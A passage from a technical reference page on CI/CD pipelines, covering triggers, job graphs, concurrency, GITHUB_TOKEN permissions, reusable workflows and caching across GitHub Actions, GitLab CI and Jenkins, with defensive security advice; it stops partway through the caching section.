Skip to content

CI/CD Pipelines: Stages, GitHub Actions in Depth, GitLab CI, Jenkins, Caching, Environments, OIDC ​

"Continuous Integration is a software development practice where each member of a team merges their changes into a codebase together with their colleagues changes at least daily. Each of these integrations is verified by an automated build (including test) to detect integration errors as quickly as possible." — Martin Fowler, Continuous Integration (martinfowler.com, rewritten 2023)

Summary: A CI/CD pipeline is a program that a code host runs for you on every change: it reacts to an event, fans work out to fresh machines, gates the change on lint, tests and migrations, builds one signed image digest, and promotes exactly that digest through staging to production under approvals; nearly every outage or breach that starts in CI comes from misunderstanding one of those mechanics (caches, tokens, triggers, expressions or environments). Focus: Continuous integration vs continuous delivery vs continuous deployment; pipeline anatomy (triggers, stages, jobs, steps, runners and executors, matrix, fan-out fan-in, needs, conditions); GitHub Actions in depth (workflow syntax, events and path filters, concurrency and cancel-in-progress, permissions and GITHUB_TOKEN least privilege, reusable workflows with workflow_call vs composite actions, actions/cache and setup-* caches, artifacts v4, environments and protection rules, OIDC cloud federation, secrets, self-hosted and ephemeral runners, pinning actions by SHA, Dependabot, GITHUB_STEP_SUMMARY); GitLab CI (.gitlab-ci.yml, stages, needs DAG, rules, cache vs artifacts, environments, runners and executors, include templates and spec:inputs, review apps, resource_group, id_tokens); Jenkins (declarative pipeline, agents, shared libraries, when to still choose it); caching strategies for Go, Composer and BuildKit; building, tagging, signing and attesting images; quality gates for Go and Laravel; migrations in CI; staging promotion; pipeline security (script injection, pull_request_target, fork pull requests, cache poisoning, SLSA); speed, flaky tests and cost. Learning goal: Read any GitHub Actions, GitLab CI or Jenkins file and say what runs where, with which token and which secrets; write the Go service's and the Laravel app's pipelines on both platforms; make them fast with the right cache keys and test splitting; make them safe with least-privilege tokens, OIDC instead of stored keys, SHA-pinned actions and no expression injection; and ship one signed, attested digest from commit to production.

This is the first chapter of the Delivery & Infrastructure group. It owns the pipeline mechanics. The neighbours: how a Dockerfile, BuildKit, layers and image signing work is Images & Dockerfiles (this chapter only drives them from CI); hardening a running container and image scanning policy is Container Security; what happens after the pipeline hands over a digest (rolling, blue-green, canary, rollback) is Deployment Strategies, and the pull-based alternative to pushing from CI is GitOps; the Helm chart and Kustomize overlays the deploy jobs call are Packaging for Kubernetes; the IAM roles, registries and OIDC trust that CI uses are usually created with Infrastructure as Code; RBAC for the deploying identity is Kubernetes Security, and reading a failed rollout is Kubernetes Observability & Troubleshooting. Branching, pull requests and protected branches are Git & Version Control. SAST, SCA, secret scanning and the incident process belong to Secure SDLC & Incident Response; which tests to write and how to keep them deterministic is Testing Strategy & TDD; Go's test tooling is Testing & Benchmarking and its lint/build layout is Project Layout, Linting & Build; the expand/contract rules a migration job must follow are Zero-Downtime Schema Migrations.

Everything here was checked against the saved vendor documentation on 2026-11-29 (GitHub Docs, GitLab Docs, Jenkins handbook, Docker Docs, Sigstore, SLSA v1.0, the READMEs of every action used). Pipeline runs are expected, not run: there are no runners in this build environment and act is not installed. The Go programs and the YAML/structure checks in the Lab did run, and their output is real.

Page map ​

If you are looking forGo to
The whole page in three tablesEverything in one minute
Why pipelines exist; the trade-offsWhy it exists
CI 1990s, Jenkins 2.0, GitHub Actions 2019, OIDC 2021, SLSA 1.0, attestations 2024Where it comes from
Continuous integration, continuous delivery, continuous deploymentCI vs CD vs CD
Trigger, stage, job, step, runner, executorPipeline anatomy
on push pull_request, branches, tags, path filters, monorepo path filtersTriggers and filters
needs, matrix, fan-out fan-in, if: conditions, fail-fastDependencies and matrix
concurrency, cancel-in-progress, queue, GitLab interruptible, resource_groupConcurrency
permissions, GITHUB_TOKEN, least privilege, fork tokensPermissions
Reusable workflow (workflow_call) vs composite action; GitLab include; Jenkins shared librariesReuse
actions/cache, cache key and restore-keys, setup-go cache, setup-php, cache-modeCaching
upload-artifact v4+, retention, GitLab artifacts, dotenv reportsArtifacts
Environments, protection rules, required reviewers, wait timers, staging promotionEnvironments
Secrets, environment secrets, OIDC, id-token, cloud federationSecrets and OIDC
GitHub-hosted, self-hosted, ephemeral runners, ARC; GitLab executors; Jenkins agentsRunners
Pin actions by SHA, Dependabot for actionsPinning and Dependabot
buildx multi-arch, image tags from git sha, gha cache, registry cacheBuilding images in CI
Provenance, SBOM, cosign keyless, Sigstore, SLSA, artifact attestationsSupply chain
golangci-lint, go test -race, PHPUnit, Pest, Pint, PHPStan, coverage, service containersQuality gates
Migrations in CI and in the deployMigrations
Script injection, expression injection, pull_request_target, fork pull requestsPipeline security
.gitlab-ci.yml, stages, needs DAG, rules, review apps, GitLab environmentsGitLab CI
Jenkins declarative pipeline, Jenkinsfile, agents, shared librariesJenkins
Parallel jobs, test splitting, flaky tests quarantine, pipeline minutes costSpeed and cost
Run order, cache matching, OIDC claims, knobs, error messagesMechanics
CodeGo, Laravel
Twelve classic problems and their fixesSolving the classic problems
Which CI system, which runners, which cache, which deploy modelChoosing
From one repository to many teams and regionsIn architecture
Commands with real and expected outputLab
Wrong beliefs, summary, quiz, termsMisconceptions, Cheat sheet, Self-check, Glossary

Everything in one minute ​

The same vocabulary in three products.

ConceptGitHub ActionsGitLab CIJenkins (declarative)
Pipeline definition.github/workflows/*.yml (one workflow per file).gitlab-ci.yml (one pipeline per project, plus include)Jenkinsfile
Triggeron: events (push, pull_request, schedule, workflow_dispatch, workflow_call...)workflow:rules and job rules over $CI_PIPELINE_SOURCEWebhook, SCM polling, triggers {}, multibranch indexing
GroupingJobs (no stages; order comes from needs)stages: (ordered), jobs inside each stagestages { stage {} }
Unit of schedulingJobJobStage (on an agent)
Unit of workStep (uses: an action or run: a script)Script linesStep (sh, withCredentials...)
Dependency graphneeds:needs: (DAG across stages)Stage order, parallel {}
Matrixstrategy.matrix (max 256 jobs per run)parallel: / parallel:matrixmatrix { axes {} }
MachineRunner (GitHub-hosted or self-hosted)GitLab Runner with an executor (Docker, Kubernetes, Docker Autoscaler, Instance, Shell...)Agent (node, docker, kubernetes pod)
ReuseReusable workflow (workflow_call), composite actioninclude: (local, project, remote, template, component)Shared libraries (@Library, vars/, src/)
Speed-up storeCache (actions/cache, setup-* cache:)cache: (on the runner or S3)Workspace, stash, plugin caches
Job outputsArtifacts (upload-artifact), job outputsartifacts:, artifacts:reports:dotenvarchiveArtifacts, stash/unstash
Deploy target and gateenvironment: + protection rulesenvironment: + protected environments, when: manualinput {} step
Serialisationconcurrency:resource_group:disableConcurrentBuilds(), Lockable Resources
Cloud credentials without secretspermissions: id-token: write (OIDC)id_tokens: (OIDC)Plugin-specific; usually stored credentials

The two worked pipelines.

StepGo service (orders-api)Laravel app (shop)Fails the pipeline when
1 Prepareactions/setup-go with module + build cachecomposite setup-laravel: setup-php, Composer cache, composer installLock file and manifest disagree
2 Static checksgolangci-lint (pinned v2.13)pint --test, phpstan analyseAny finding
3 Testsgo vet, go test -race on amd64 + arm64 + Go stablePest sharded 3 ways on a PostgreSQL 18 service container, migrate --force and smoke tests firstA red test, a migration that does not apply
4 Buildbuildx multi-arch image, gha cache mode=maxSame reusable workflow, --target appBuild error
5 Supply chaincosign sign keyless + actions/attest provenance + SBOMSameSigning or attestation fails
6 StagingVerify signature + provenance, helm upgrade --atomic by digestVerify, migration Job, then helm upgrade by digest, one concurrency groupVerification fails, migration fails or exceeds its deadline, rollout not healthy
7 ProductionTag only, environment with required reviewers, verify again, same digestSame, with the migration in frontApprover rejects, verification or rollout fails

The security rules in one table.

RuleWhyWhere on this page
permissions: contents: read at the top, widen per jobSpecifying any permission sets every other one to nonePermissions
Never put an untrusted expression inside run:; pass it through env:The runner substitutes text before the shell parses itPipeline security
Do not build or run fork code under pull_request_targetIt runs with the base repository's secrets and a write tokenPipeline security
OIDC (id-token: write, id_tokens) instead of stored cloud keysShort-lived, scoped by repository, ref and environmentSecrets and OIDC
Pin third-party actions to a full commit SHA, let Dependabot bump themA tag can be moved to malicious codePinning
Sign and attest the digest; verify before deployProves which workflow built which bytesSupply chain
Ephemeral runners only for untrusted codeA persistent runner can be "persistently compromised"Runners
Caches are untrusted input"Cache contents are not signed or verified"Caching
Trigger, fan-out, fan-in, promote: one pipeline runTriggerspush (branch, tag)pull_request / MRschedule (cron)workflow_dispatchworkflow_callfilters:branches, tags,paths / changesconcurrency groupjob: lintsteps: checkout, setup, runjob: test (matrix)amd64arm64stableeach cell = its own jobon its own runnerrunner / executor: a VM,container or Kubernetes podfan-out: no needs, so they start at oncejob: imageneeds: [lint, test]build multi-archpush, sign, attestoutput: digestfan-in: waits for every needdeploy stagingenvironment: stagingmigrate, roll outdigest Dapproval gatedeploy productionprotected envsame digest DGitHub Actions: workflow, jobs, steps, needs, environmentsGitLab CI: pipeline, stages, jobs, needs (DAG), environmentsJenkins: pipeline, stages, parallel, steps, agents, input

Why it exists ​

Without a pipeline, "is this change safe?" is answered by whoever merged it, on their laptop, with their tool versions, maybe. Integration problems pile up until release week, and deploys are a runbook somebody follows from memory. A pipeline replaces the memory with a program: the same checks, on a clean machine, for every change, with a record of what ran. Continuous delivery extends the program past the merge: the output of the pipeline is always something you could release, and releasing is pushing a button (or, in continuous deployment, not even that).

The price is that the pipeline becomes production infrastructure. It holds the keys to the registry and the cluster, it runs code from every contributor, and it is on the critical path of every fix. Most of this chapter is about paying that price on purpose: speed through caches and parallelism, and safety through tokens, triggers and signatures.

Simpler choiceRicher choiceWhat you buyWhat you pay
One job that does everythingJobs that fan out and fan inParallel feedback in minutesArtifacts or outputs to pass state between jobs
Re-download dependencies every runKeyed cachesFaster runs, fewer registry callsCache poisoning risk, keys to design
Long-lived cloud keys in secretsOIDC federationNothing to leak or rotateTrust policies to get exactly right
Tags on actions (@v7)Full commit SHAs + DependabotA moved tag cannot change your buildA bot PR per update
Deploy from a branch pushEnvironments, approvals, staging promotionHumans see the change before productionSlower lead time
Build per environmentBuild once, promote the same digestWhat was tested is what runsConfiguration must come from the environment, not the image
Persistent self-hosted runnersEphemeral runnersA compromised job cannot poison the nextStart-up time, autoscaling to run
Push to the cluster from CIGitOps pullThe cluster holds no CI credentialsA second system (Argo CD, Flux)

The analogy used through this page: a factory line with sealed crates. A change arrives at the loading dock (the trigger). Several inspection stations work on copies of it at the same time (jobs fanning out), each at its own clean workbench (a fresh runner). The packing station waits for every inspector's stamp (fan-in through needs), seals the product in a crate, and stamps the crate with a serial number that is the hash of its contents (the image digest) and a signed delivery note saying which line packed it (signature and provenance). The crate goes to a showroom (staging); a manager signs the release slip (approval); the same crate, never a re-packed one, goes to the shop floor (production). Toolboxes left at each bench for the next shift save time (caches) but nobody puts the crate itself in a toolbox, and nobody trusts a toolbox that a visitor could have touched.

Three common misunderstandings, up front ​

  1. "Continuous delivery means every commit goes to production." That is continuous deployment. Fowler: "Continuous Delivery just means that you are able to do frequent deployments but may choose not to do it". See CI vs CD vs CD.
  2. "Secrets are safe in CI because they are masked in the logs." Masking is string matching on output. Code that runs in the job (a dependency's install script, a pull request's Makefile, an injected command) can read the secret and send it anywhere. See Pipeline security.
  3. "A cache is where I pass the build result to the deploy job." A cache is an optional speed-up that may be missing or stale; required outputs are artifacts or job outputs. GitLab's docs say it directly: "Use cache for dependencies ... Use artifacts for files that merge requests display or link to". See Artifacts.

Where it comes from ​

WhenWhat happenedSource
1990s"Continuous Integration was developed as a practice by Kent Beck as part of Extreme Programming in the 1990s" (Fowler notes Grady Booch used the phrase only in passing)Fowler, Continuous Integration
2001, 2006, 2023Fowler's CI article written, updated, rewrittenSame article
2010Humble and Farley's Continuous Delivery book; Fowler calls it "the foundation book on this topic"Fowler, ContinuousDelivery bliki
26 Apr 2016Jenkins 2.0: "in 2.0 we've added the pipeline capability" (Pipeline as code, the Jenkinsfile)jenkins.io blog
8 Aug 2019GitHub Actions gains CI/CD; generally available on 13 November 2019GitHub blog
27 Oct 2021GitHub Actions: secure cloud deployments with OpenID ConnectGitHub changelog
24 Nov 2021Reusable workflows generally availableGitHub changelog
19 Apr 2023SLSA v1.0 final (Build track L0-L3)slsa.dev blog
16 Apr 2024Deprecation notice for v3 of the artifact actions; v3 stops working on 30 Jan 2025; v4 artifacts are immutableGitHub changelog, upload-artifact README
25 Jun 2024Artifact attestations generally availableGitHub changelog
GitLab 17.0include:inputs generally available (spec:inputs headers for templates and components)GitLab CI YAML reference
GitLab 17.9include:integrity (SHA-256 of an included remote file)GitLab CI YAML reference
2026GitHub Docs describe cache-mode (read, write, write-only, none) and a default event policy that blocks pull_request_target in public repositories, enforced from 2 December 2026GitHub Docs, dependency caching reference; Securely using pull_request_target

Two lineages meet in today's tools. The CI-server lineage (CruiseControl, Hudson, Jenkins) runs a long-lived server with agents and plugins and treats the pipeline as a Groovy program. The forge-native lineage (GitLab CI, GitHub Actions, and similar YAML systems) puts the pipeline file next to the code, runs every job on a disposable machine, and couples the pipeline to the forge's identity: pull requests, protected branches, environments and, since 2021, OIDC tokens that name the exact repository and workflow. Supply-chain work (Sigstore, SLSA, attestations) builds on that coupling: a signature is only as meaningful as the identity of the workflow that made it.

The concept catalogue ​

Each block follows the same order: plain words, the common misunderstanding, the definition, a sequence, real scenarios, what each product does, and the fix.

Continuous integration, continuous delivery, continuous deployment Must-know ​

In plain words: Continuous integration means everyone merges small changes into the main line often, and a machine checks each merge. Continuous delivery means the result of that check is always something you could release. Continuous deployment means you do release it, automatically, every time.

Common misunderstanding: "We have Jenkins, so we do CI." Running a build server on long-lived feature branches is not continuous integration; Fowler calls this out: running regular builds on feature branches "isn't Continuous Integration at all". The practice is the daily merge to the main line; the server only verifies it.

Definition: Fowler's definitions, verbatim: CI is "a software development practice where each member of a team merges their changes into a codebase together with their colleagues changes at least daily"; "Continuous Delivery is a software development discipline where you build software in such a way that the software can be released to production at any time"; and "Continuous Deployment means that every change goes through the pipeline and automatically gets put into production, resulting in many production deployments every day ... In order to do Continuous Deployment you must be doing Continuous Delivery."

text
commit -> merge to main -> pipeline (lint, test, build, sign) -> artefact D (always releasable) -> staging -> production
          |__________________ continuous integration _________________|
          |_____________________________________ continuous delivery: production is one approval away _____|
          |_____________________________________ continuous deployment: no approval, every green D ships ___|

Real scenarios:

  • A team merges feature branches once a fortnight and spends two days fixing conflicts: the pipeline is green on each branch but integration is not continuous.
  • A payments team practises continuous delivery with a manual production approval because of change-management rules; a content site practises continuous deployment and ships 30 times a day.
  • A mobile backend is continuously delivered but the app stores impose release cadence on the client, so deployment cannot be continuous end to end.
PracticeWhat is automatedHuman decisionTypical gate
Continuous integrationBuild and test of every mergeWhen to mergeRequired status checks on the main branch
Continuous deliveryEverything up to a production-ready artefact and its staging deployWhen to releaseEnvironment approval (required reviewers, GitLab protected environment, Jenkins input)
Continuous deploymentEverything, including productionNone per change (only policy)Automated: health checks, canary analysis, rollback

Fix / how to use it: keep branches short-lived (see Git & Version Control), make the main-branch pipeline the only path to an artefact, and decide per environment whether a human approves. The rollout itself (rolling, canary, blue-green) is Deployment Strategies.

Pipeline anatomy: trigger, stage, job, step, runner, executor Must-know ​

In plain words: An event starts a pipeline. The pipeline is a set of jobs; each job gets its own machine and runs a list of steps in order. Jobs run in parallel unless you say one needs another.

Common misunderstanding: "Steps in different jobs share files." They do not: each job starts on a fresh runner with an empty workspace. Anything a later job needs must travel as an artifact or a job output, and tools installed in one job are absent in the next.

Definition:

  • Trigger: the event (push, pull request, tag, schedule, manual dispatch, another workflow) plus filters that decide whether a run is created.
  • Stage: an ordered group of jobs. GitLab and Jenkins have explicit stages; GitHub Actions has none, only the job graph.
  • Job: the unit the scheduler places on one runner. Jobs of a run start in parallel by default.
  • Step: one command or one action inside a job, run sequentially on the same machine, sharing the filesystem and environment files.
  • Runner: the machine (VM, container, pod) that executes a job. GitHub-hosted runners are fresh VMs per job; GitLab Runner is an agent you register, which hands each job to an executor (Kubernetes, Docker, Docker Autoscaler, Instance, and older ones such as Shell, SSH, VirtualBox, Parallels); Jenkins calls them agents.
text
push to main (event) -> filters pass -> run #812 created
1  scheduler: jobs lint, test[amd64], test[arm64], test[stable] have no needs -> queued together
2  four runners pick them up; each: checkout, setup, run steps in order
3  image needs [lint, test] -> waits until all four finished successfully
4  image runs on a fifth runner; output digest=sha256:9f...
5  deploy-staging needs image -> environment "staging" -> runs
6  deploy-production needs deploy-staging -> environment "production" -> waits for a reviewer

Real scenarios:

  • A Go job installs golangci-lint in one job and tries to call it from another: "command not found".
  • A matrix of 3 OS x 4 versions spawns 12 jobs and 12 runners; the bill is 12 times the job time, not once.
  • A GitLab shell executor on a shared VM leaks files between jobs of different projects; switching to the Docker or Kubernetes executor isolates them.
ProductRun containerJob placementIsolation default
GitHub Actions (hosted)Workflow runruns-on: labels (ubuntu-24.04, ubuntu-24.04-arm, larger runners)Fresh VM per job ("ephemeral and clean isolated virtual machines")
GitHub Actions (self-hosted)SameLabels and runner groupsWhatever you build; persistent unless --ephemeral
GitLab CIPipelinetags: select runners; executor decides the sandboxDocker/Kubernetes executors: a container per job
JenkinsBuild of a jobagent { label / docker / kubernetes }Depends on agent; Kubernetes plugin gives a pod per build

Fix: design jobs around what can fail independently and what needs a different machine; pass state explicitly (artifacts, outputs, GitLab dotenv reports); keep steps that must share files in one job.

Triggers and filters: on push pull_request, branches, tags, path filters Must-know ​

In plain words: The on: block (GitHub) or workflow:rules (GitLab) decides which events create a run. Filters on branches, tags and changed paths keep a monorepo from running every pipeline for every change.

Common misunderstanding: "Path filters also skip tag builds." GitHub says the opposite: "Path filters are not evaluated for pushes of tags." And when a workflow is skipped by a path filter, its checks "will remain in a" Pending state, and "A pull request that requires those checks to be successful will be blocked from merging."

Definition: In GitHub Actions, on.push and on.pull_request accept branches/branches-ignore, tags/tags-ignore and paths/paths-ignore (never both forms for one event). "If you define both branches/branches-ignore and paths/paths-ignore, the workflow will only run when both filters are satisfied." Changed files come from "two-dot diffs for pushes and three-dot diffs for pull requests", with limits: more than 1,000 commits in a push or a diff timeout means the workflow "will always run"; a diff over 3,000 files where the matching files are not in the first 3,000 means it "will not run". In GitLab, rules:changes does the same per job, but "For new branch pipelines or when there is no Git push event, rules: changes always evaluates to true" unless rules:changes:compare_to names a base.

text
monorepo acme/commerce, PR touches apps/shop/app/Order.php only
1  go-service.yml   on.pull_request.paths: services/orders-api/**  -> no match -> not run (checks stay Pending)
2  laravel-app.yml  on.pull_request.paths: apps/shop/**            -> match    -> run
3  branch protection requires "go-service / test" -> PR blocked
-> fix: require a single always-running "ci-gate" job, or run every workflow and skip jobs inside it

Real scenarios:

  • Monorepo path filters cut a 40-minute all-services run to the 6 minutes of the one service that changed.
  • A docs-only PR is blocked forever because a skipped workflow's check is required.
  • A tag push orders-api/v1.4.2 runs the release pipeline even though no path matched, which is what you want for releases.
  • GitLab creates duplicate branch and merge-request pipelines until workflow:rules drops branch pipelines when an MR is open ($CI_OPEN_MERGE_REQUESTS).
ProductEvent filterPath filterGotcha
GitHub Actionson: with branches, tags, typespaths, paths-ignore on push/pull_requestNot for tags; skipped required checks stay Pending
GitLab CIworkflow:rules + $CI_PIPELINE_SOURCEJob rules:changes (paths, compare_to)True on new branches without compare_to
JenkinsMultibranch indexing, webhookswhen { changeset 'pattern' }Evaluated after the build has started

Fix: for monorepo path filters in GitLab, put the filter on the jobs and compare against the default branch:

yaml
# GitLab: run the Go jobs only when the Go service changed (monorepo layout)
.orders-api-changes:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
      changes:
        paths: ["services/orders-api/**/*"]
        compare_to: refs/heads/main
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      changes:
        paths: ["services/orders-api/**/*"]

In GitHub, the two workflows in the Go and Laravel sections filter by path; branch protection should require only jobs that always run.

Dependencies, matrix, fan-out fan-in and conditions Must-know ​

In plain words: Jobs without needs start together (fan-out); a job with needs: [a, b] waits for both (fan-in). A matrix turns one job definition into many jobs, one per combination.

Common misunderstanding: "If a needed job fails, my cleanup or notification job still runs." GitHub: "If a job fails or is skipped, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue" (for example if: always()).

Definition: jobs.<job_id>.needs builds a directed acyclic graph. strategy.matrix expands variables into jobs ("A matrix will generate a maximum of 256 jobs per workflow run"), with include/exclude, fail-fast (default true: cancel the rest when one fails) and max-parallel. Conditions use if: with status functions success(), failure(), always(), cancelled(). GitLab: needs: lets a job start as soon as its needs finish, ignoring stage order (the needs DAG; "An array of jobs (maximum of 50 jobs)"), parallel: N and parallel:matrix, when: and rules: for conditions. Jenkins: parallel {} inside a stage, matrix { axes {} }, when {}.

text
GitHub: needs graph for go-service.yml
lint ─────────────┐
test[amd64,mod] ──┤
test[amd64,stable]┼──▶ image ──▶ deploy-staging ──▶ deploy-production
test[arm64,mod] ──┘
fail-fast: false -> an arm64 failure does not cancel the amd64 cells; image is still skipped

Real scenarios:

  • A Go library tested on Go go.mod version and stable, on x86-64 and arm64, with one combination excluded.
  • A Laravel suite split into three Pest shards that run as three matrix jobs.
  • A "notify Slack on failure" job with needs: [deploy] and if: failure().
  • GitLab: test with needs: [] starts immediately instead of waiting for the lint stage to finish.
FeatureGitHub ActionsGitLab CIJenkins
Dependencyneeds:needs: (DAG), else stage orderStage order
Matrixstrategy.matrix, 256 jobs maxparallel: N (1-200), parallel:matrixmatrix { axes { axis {} } }
Stop others on failurefail-fast: true (default)No default; interruptible for superseded pipelinesfailFast true in parallel
Run after failureif: always() / failure()when: always / on_failurepost { always / failure }
Pass dataoutputs: + needs.<job>.outputsArtifacts, dotenv reportsstash/unstash, env

Fix: keep the graph shallow and wide (fan-out early), set fail-fast: false where each cell is informative, and expose small values (a digest, a version) as job outputs rather than artifacts.

Concurrency and cancel-in-progress Important ​

In plain words: A concurrency group says "at most one of these at a time". With cancel-in-progress, a new run kills the old one; without it, the new one waits.

Common misunderstanding: "cancel-in-progress: true everywhere saves minutes." On a deploy or migration job, cancelling halfway leaves a half-applied migration or a half-rolled Deployment. Cancel superseded checks; queue deploys.

Definition: GitHub: "there can be at most one running job or workflow in a concurrency group at any time"; a newly queued run in the group is pending, and by default at most one can be pending ("When a new job or workflow run is queued, any existing pending job or workflow run in the same group is canceled and replaced"). queue: max allows "Up to 100 jobs or workflow runs" to wait, and "The combination of queue: max and cancel-in-progress: true is not allowed". cancel-in-progress accepts an expression, which is how the workflows here cancel only pull-request runs. GitLab: interruptible: true plus workflow:auto_cancel:on_new_commit: interruptible cancels superseded pipelines; resource_group serialises jobs (a deployment queue). Jenkins: disableConcurrentBuilds(abortPrevious: true).

text
PR #42: push A starts run 1 (group go-service-refs/pull/42/merge)
1  push B -> run 2 queued; cancel-in-progress (PR) -> run 1 cancelled, run 2 runs
main: merge M1 -> deploy-staging (group deploy-orders-api-staging, cancel-in-progress: false)
2  merge M2 -> its deploy-staging is pending; M3 arrives -> M2's pending run is replaced by M3 (queue: single)
3  M1 finishes -> M3 deploys; M2 never deployed (fine: M3 contains M2)

Real scenarios: ten pushes to one PR in five minutes; two merges racing to staging; a nightly job overlapping the next night's; a migration interrupted by a newer pipeline.

NeedGitHub ActionsGitLab CIJenkins
Cancel superseded checksconcurrency.cancel-in-progress: trueinterruptible: true + auto_canceldisableConcurrentBuilds(abortPrevious: true) (checks-only pipelines; never on one that deploys)
One deploy at a timeJob-level concurrency group, no cancelresource_groupLockable Resources plugin
Keep every queued runqueue: max (up to 100)resource_group process mode (oldest first, newest first)Default queue

Fix: workflow-level group per ref with cancel only for pull_request; job-level groups per environment with cancel-in-progress: false; GitLab interruptible: false on deploy jobs (both pipelines here do exactly this).

Permissions, GITHUB_TOKEN and least privilege Must-know ​

In plain words: Every GitHub Actions job gets a fresh token that can act on the repository. You decide what it may do. Ask for nothing by default and add only what a job needs.

Common misunderstanding: "Listing packages: write adds to the defaults." The workflow syntax says: "If you specify the access for any of these permissions, all of those that are not specified are set to none." So permissions: { packages: write } alone also removes contents: read, and actions/checkout then fails on a private repository.

Definition: "At the start of each workflow job, GitHub automatically creates a unique GITHUB_TOKEN secret". It is "a GitHub App installation access token", it "expires when the job finishes or after its effective maximum lifetime" (6 hours on GitHub-hosted runners; on self-hosted runners it "can only be refreshed for up to 24 hours"). Scopes are set with permissions: at workflow or job level: read, write or none per scope (actions, attestations, checks, contents, deployments, id-token with only write/none, issues, packages, pages, pull-requests, security-events, statuses and others), or read-all/write-all/{}. Events triggered with GITHUB_TOKEN "will not create a new workflow run" (except workflow_dispatch, repository_dispatch, and pull requests it opens, which wait for approval), which prevents recursion. For fork pull requests, "The GITHUB_TOKEN has read-only permissions". In nested reusable workflows, permissions "can only be the same or more restrictive".

text
reusable-image.yml called from go-service.yml
1  workflow top: permissions: contents: read      -> every job read-only
2  caller job image: contents read, packages write, id-token write, attestations write
3  called workflow job build: asks the same four   -> allowed (not wider than the caller)
4  if build asked deployments: write               -> run fails validation (wider than the caller)
5  token expires when the job ends; a leaked copy is useless an hour later

Real scenarios: a linter action with a repository-write token is compromised and pushes to main; a release job needs contents: write to create a GitHub release and nothing else; GHCR push needs packages: write; cosign keyless and actions/attest need id-token: write (and attestations: write).

JobMinimal permissions
Lint, testcontents: read
Comment on a PRcontents: read, pull-requests: write
Push an image to GHCRcontents: read, packages: write
Keyless signing, artifact attestationsid-token: write, attestations: write (+ packages: write to store in GHCR)
Deploy with OIDC to a cloudcontents: read, id-token: write
Upload SARIF to code scanningsecurity-events: write
GitLab equivalentCI_JOB_TOKEN (scoped by the job token allowlist), project/group access tokens for more
Jenkins equivalentCredentials bound per step with withCredentials

Fix: permissions: contents: read at the top of every workflow, wider scopes per job (see every workflow in Go and Laravel); set the organisation default to restricted; persist-credentials: false on actions/checkout when later steps do not need to push.

Reuse: reusable workflows (workflow_call) vs composite actions; GitLab include templates; Jenkins shared libraries Important ​

In plain words: A reusable workflow is a whole set of jobs another workflow calls like a function. A composite action is a bundle of steps you drop into one job. GitLab reuses YAML with include; Jenkins reuses Groovy with shared libraries.

Common misunderstanding: "They are interchangeable." A reusable workflow brings its own jobs, runners, permissions and environments, and it gets its own OIDC identity (job_workflow_ref), which is what lets a central team say "only images built by this workflow are trusted". A composite action runs inside the caller's job with the caller's token; it cannot declare permissions or choose a runner.

Definition: A reusable workflow has on: workflow_call with typed inputs, secrets and outputs; the caller job uses uses: owner/repo/.github/workflows/file.yml@ref (or ./.github/workflows/file.yml in the same repository) with with: and secrets: (or secrets: inherit) and no steps or runs-on. Limits: "You can connect up to ten levels of workflows" and "call a maximum of 50 unique reusable workflows from a single workflow file". A composite action is an action.yml with runs.using: composite and steps, where every run step declares a shell. GitLab: include:local, include:project (with ref), include:remote (with integrity), include:template, include:component and spec:inputs headers interpolated as $[[ inputs.name ]]; jobs merge, and "the configuration in the .gitlab-ci.yml file takes precedence". Jenkins: @Library('my-shared-library@1.0') _ loads a repository whose vars/*.groovy define global steps (def call(Map args)) and src/ holds classes.

text
go-service.yml  job image  --uses-->  reusable-image.yml  job build
1  caller passes inputs {name, context, image}; grants packages/id-token/attestations
2  build runs on its own runner; cosign asks for an OIDC token
3  token claims: workflow/ref = the caller; job_workflow_ref = acme/commerce/.github/workflows/reusable-image.yml@refs/heads/main
4  Fulcio puts https://github.com/<job_workflow_ref> in the certificate SAN
5  verifiers trust "built by reusable-image.yml", no matter which app called it

Real scenarios: 40 repositories share one image-build workflow owned by the platform team; a setup-laravel composite action replaces 25 copied lines in five jobs; GitLab projects include acme/ci-templates at a pinned tag; a Jenkins estate standardises on buildAndSign(...) from a library.

MechanismReusesOwn runner / permissionsVersioned byIdentity in OIDC
GitHub reusable workflowJobsYes / yes (can only narrow)@sha or @tag of the workflow repojob_workflow_ref claim
GitHub composite actionStepsNo / no@sha or @tagThe caller's
GitLab include + spec:inputsYAML (jobs, hidden jobs)Per jobref: for include:project, integrity for remoteThe project's own .gitlab-ci.yml path
GitLab CI/CD componentA versioned include from the catalogPer jobComponent versionSame caveat
Jenkins shared libraryGroovy steps and classesAgent per stage@Library('name@tag')n/a (credentials)

Fix: put build-sign-attest in one reusable workflow and pin callers to it (reusable-image.yml); put repetitive setup in a composite action (setup-laravel). In GitLab keep id_tokens (Sigstore signing) in the project's own file: GitLab documents that "CI files included from another repository, and child pipelines are not supported" for it, which is why the shared template here holds only the .buildx hidden job.

Caching: actions/cache, cache key restore-keys, setup-go cache, setup-php, Composer cache, Go build cache Must-know ​

In plain words: A cache is a tarball of a directory (Go modules, Composer's download cache) saved under a key, so the next run can unpack it instead of downloading everything again. The key should change exactly when the contents should change: when the lock file changes.

Common misunderstanding: "Saving the cache again updates it." On GitHub a cache key is write-once: on a hit nothing is saved, and on a miss "the action automatically creates a new cache if the job completes successfully". Stale-but-hit caches never refresh unless the key changes, which is why tools that want a rolling cache (PHPStan's result cache) use a unique key per run plus a prefix restore key.

Definition:

  • Key matching (GitHub): exact key first ("cache hit", output cache-hit: true); otherwise each restore-keys entry in order as a prefix, newest match wins; then the same search "on the default branch". Scope: branch first, then the default branch; "When a cache is created by a workflow run triggered on a pull request, the cache is created for the merge ref ... It cannot be restored by the base branch or other pull requests". Limits: entries not accessed "in over 7 days" are removed; "By default, the limit is 10 GB per repository", beyond which older caches are evicted ("cache thrashing").
  • hashFiles() "calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files".
  • cache-mode (read, write, write-only, none) limits a job's cache token. Low-trust triggers (pull_request_target, issue_comment, workflow_run) get read-only access to the default branch's caches by default; only push, workflow_dispatch, repository_dispatch, delete, registry_package, page_build and schedule may write there.
  • setup- caches:* actions/setup-go caches the module and build caches by default ("caching is enabled by default"), and "By default, the cache key for Go modules is based on go.mod. To use go.sum, configure the cache-dependency-path input." shivammathur/setup-php installs PHP, extensions and tools; the Composer cache is a separate actions/cache keyed on composer.lock.
